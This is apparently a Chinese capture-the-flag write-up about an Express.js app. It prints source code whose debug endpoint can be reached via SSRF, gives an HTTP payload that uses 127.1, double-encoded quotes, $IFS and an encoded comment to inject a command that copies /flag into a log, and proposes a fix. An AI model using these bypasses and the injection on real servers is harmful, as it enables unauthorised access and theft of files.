0x00 源码
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) {
res.json({});
});
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,''); //get请求中的url参数
console.log(url.parse(u).href); //****
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u); //****
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
module.exports = router;
0x01分析源码
get /debug请求:
存在命令注入风险,但是当且仅当请求ip为本机时才可进入。
post /debug请求:
会进行二次请求,但是请求的url不能为本机ip,也就是防止ssrf。
本机ip的校验:
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
绕过思路:
post中带url参数进行get请求。
0x02 payload
POST /debug HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJhZG1pbiI6Im5vIn0=; session.sig=BIXi-h36xJ4RzLYTm9MXwtSwEDM
Upgrade-Insecure-Requests: 1
If-None-Match: W/"2-mZFLkyvTelC5g8XnyQrpOw"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
url=http://127.1/debug?url=http://%252527@a/;cp$IFS/flag$IFS/tmp/log;%2523
使用127.1绕过blacklist
%252527绕过',但是此处必须加@才能绕过。
$IFS绕过空格
%2523为#,注释掉后面的东西。
修复
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var x_url = url.parse(req.query.url).href;
x_url = x_url.replace(/[\"\']/ig,''); //get请求中的url参数
console.log(x_url); //****
let log=`echo '${x_url}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
先parse再过滤。